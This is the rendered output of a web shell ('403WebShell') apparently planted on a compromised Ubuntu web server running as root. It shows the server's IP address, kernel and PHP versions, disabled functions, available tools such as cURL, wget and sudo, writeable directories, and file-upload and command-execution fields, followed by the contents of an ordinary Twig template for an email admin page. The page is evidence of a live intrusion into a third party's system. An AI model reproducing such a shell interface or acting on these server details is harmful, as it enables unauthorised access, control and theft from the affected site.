WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/templates/contributor_email/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/templates/contributor_email/index.html.twig
{% extends 'contributor/layout.html.twig' %}

{% block title %}Blogs{% endblock %}

{% block contributor_body %}
    <div class="app_main_inner">

        <div class="page_excerpt">
            <h2 class="sr_heading_title">Emails</h2>
            <p class="sr_heading_intro">Manage  Your Emails.</p>
        </div>
        <div class="row">
            <div class="col-lg-12">
                <div class="card mb-3">
                    <div class="card-header">
                        <div class="card-header-title">Emails</div>
                        <a class="btn creat_new" href="{{ path('contributor_email_new') }}">
                            <span class="button_primary_label">New Email</span>
                        </a>
                    </div>
                    <div class="datagrid no_btn_p">
                        <table>
                            <thead>
                            <tr>
                                <th>Id</th>
                                <th>Title</th>
                                <th>Category</th>
                                <th>Content</th>
                                <th>Image</th>
                                <th>Created At</th>
                                <th>Delete</th>
                            </tr>
                            </thead>
                            <tbody>
                            {% for contributor_email in contributor_emails | reverse | slice(0,10) %}
                                <tr>
                                    <td data-label="Id">{{ contributor_email.id }}</td>
                                    <td data-label="Title">{{ contributor_email.title }}</td>
                                    <td data-label="Category">{{ contributor_email.category }}</td>
                                    <td data-label="Content">{{ contributor_email.content | truncate(70,true) |raw }}</td>
                                    <td data-label="Image"><img src="{{ asset('uploads/page_images/')~contributor_email.image }}" class="cart_thumbnail"></td>
                                    <td data-label="Created At">{{ contributor_email.createdAt ? contributor_email.createdAt|date('Y-m-d H:i:s') : '' }}</td>
                                    <td data-label="Delete">{% include('contributor_email/_delete_form.html.twig') %}</td>
                                </tr>
                            {% else %}
                                <tr>
                                    <td colspan="7" class="text_align_center">No records found</td>
                                </tr>
                            {% endfor %}
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>

        <div class="row">
            <div class="col-lg-12">
                <div class="mb-3 card">
                    <div class="card-header">
                        <div class="card-header-title">Email Categories</div>
                        <a class="btn creat_new" href="{{ path('email_category_new') }}">
                            <span class="button_primary_label">New Category</span>
                        </a>
                    </div>
                    <div class="datagrid no_btn_p" >
                        <table>
                            <thead>
                            <tr>
                                <th>Id </th>
                                <th>Name</th>
                                <th>Description</th>
                                <th>Edit</th>
                                <th>Remove Category</th>
                            </tr>
                            </thead>
                            <tbody>
                            {% for email_category in categories %}
                                {% if loop.index is divisible by(2) %}
                                    {% set tr_class = 'alt' %}
                                {% else %}
                                    {% set tr_class = 'odd' %}
                                {% endif %}
                                <tr class="{{ tr_class }}">
                                    <td  data-label="Id">{{ email_category.id }}</td>
                                    <td  data-label="Name">{{ email_category.category|capitalize }}</td>
                                    <td  data-label="Description">{{ email_category.description }}</td>
                                    <td  data-label="Edit"> <a class="btn creat_new" href="{{ path('email_category_edit',{id: email_category.id})  }}">
                                            <span class="button_primary_label">Edit</span>
                                        </a>
                                    </td>
                                    <td  data-label="Remove Category"> {{ include('email_category/_delete_form.html.twig') }}</td>
                                </tr>
                            {% else %}
                                <tr>
                                    <td colspan="5" class="text_align_center">No Records</td>
                                </tr>
                            {% endfor %}


                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>

    </div>
{% endblock %}



Youez - 2016 - github.com/yon3zu
LinuXploit